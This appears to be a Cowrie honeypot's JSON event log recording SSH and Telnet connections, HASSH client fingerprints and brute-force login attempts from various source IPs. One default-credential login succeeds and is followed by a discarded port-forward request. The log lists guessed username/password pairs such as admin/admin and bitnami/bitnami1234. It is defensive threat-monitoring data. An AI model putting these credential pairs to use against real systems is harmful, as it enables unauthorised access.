{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:23.612628Z","src_ip":"40.81.244.142","session":"92414352f028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZzaq1","message":"login attempt [admin/!QAZzaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:24.394907Z","src_ip":"40.81.244.142","session":"92414352f028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:25.585740Z","src_ip":"40.81.244.142","session":"92414352f028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":59306,"dst_ip":"159.203.135.109","dst_port":22,"session":"81b458a86f67","protocol":"ssh","message":"New connection: 222.167.161.198:59306 (159.203.135.109:22) [session: 81b458a86f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:38.241015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:38.245540Z","src_ip":"222.167.161.198","session":"81b458a86f67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:38.513648Z","src_ip":"222.167.161.198","session":"81b458a86f67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passwd123","message":"login attempt [user/passwd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:39.617138Z","src_ip":"222.167.161.198","session":"81b458a86f67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:20:40.890781Z","src_ip":"222.167.161.198","session":"81b458a86f67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25302,"dst_ip":"10.17.0.5","dst_port":22,"session":"66f04771f28e","protocol":"ssh","message":"New connection: 87.251.64.176:25302 (10.17.0.5:22) [session: 66f04771f28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:02.968735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:02.974873Z","src_ip":"87.251.64.176","session":"66f04771f28e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:03.067827Z","src_ip":"87.251.64.176","session":"66f04771f28e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:03.443064Z","src_ip":"87.251.64.176","session":"66f04771f28e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:03.541250Z","session":"66f04771f28e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:03.641454Z","src_ip":"87.251.64.176","session":"66f04771f28e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:03.738900Z","src_ip":"87.251.64.176","session":"66f04771f28e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":38568,"dst_ip":"159.203.135.109","dst_port":22,"session":"b84deb619290","protocol":"ssh","message":"New connection: 58.69.56.44:38568 (159.203.135.109:22) [session: b84deb619290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:13.837588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:13.841175Z","src_ip":"58.69.56.44","session":"b84deb619290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:14.077229Z","src_ip":"58.69.56.44","session":"b84deb619290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami1234","message":"login attempt [bitnami/bitnami1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:15.073962Z","src_ip":"58.69.56.44","session":"b84deb619290","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:16.321792Z","src_ip":"58.69.56.44","session":"b84deb619290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":56282,"dst_ip":"159.203.135.109","dst_port":22,"session":"d75d9aae9c79","protocol":"ssh","message":"New connection: 40.81.244.142:56282 (159.203.135.109:22) [session: d75d9aae9c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:22.876203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:22.880475Z","src_ip":"40.81.244.142","session":"d75d9aae9c79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:23.080878Z","src_ip":"40.81.244.142","session":"d75d9aae9c79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123@123","message":"login attempt [admin/123@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:23.924368Z","src_ip":"40.81.244.142","session":"d75d9aae9c79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:25.126609Z","src_ip":"40.81.244.142","session":"d75d9aae9c79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":47574,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5815eed6dd2","protocol":"ssh","message":"New connection: 96.70.252.227:47574 (159.203.135.109:22) [session: a5815eed6dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:30.810196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:30.827954Z","src_ip":"96.70.252.227","session":"a5815eed6dd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:30.850333Z","src_ip":"96.70.252.227","session":"a5815eed6dd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdlkj123","message":"login attempt [ubuntu/asdlkj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:30.990822Z","src_ip":"96.70.252.227","session":"a5815eed6dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:32.029870Z","src_ip":"96.70.252.227","session":"a5815eed6dd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00953912734985,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:40.915018Z","src_ip":"87.90.84.206","session":"294c3ce9f124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":3640,"dst_ip":"159.203.135.109","dst_port":22,"session":"231065a79413","protocol":"ssh","message":"New connection: 222.167.161.198:3640 (159.203.135.109:22) [session: 231065a79413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:42.669784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:42.674883Z","src_ip":"222.167.161.198","session":"231065a79413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:42.949523Z","src_ip":"222.167.161.198","session":"231065a79413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:44.082140Z","src_ip":"222.167.161.198","session":"231065a79413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:45.359222Z","src_ip":"222.167.161.198","session":"231065a79413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00438117980957,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:48.821717Z","src_ip":"87.90.84.206","session":"5f4dbf167f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00251913070679,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:50.182675Z","src_ip":"87.90.84.206","session":"537a1db2fb85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.90.84.206","src_port":26018,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e5320d5d736","protocol":"telnet","message":"New connection: 87.90.84.206:26018 (159.203.135.109:23) [session: 6e5320d5d736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:21:53.278335Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":55750,"dst_ip":"159.203.135.109","dst_port":22,"session":"73def3335e8d","protocol":"ssh","message":"New connection: 58.69.56.44:55750 (159.203.135.109:22) [session: 73def3335e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:11.267977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:11.272012Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:22:11.503894Z","src_ip":"58.69.56.44","session":"73def3335e8d","protocol":"ssh"}
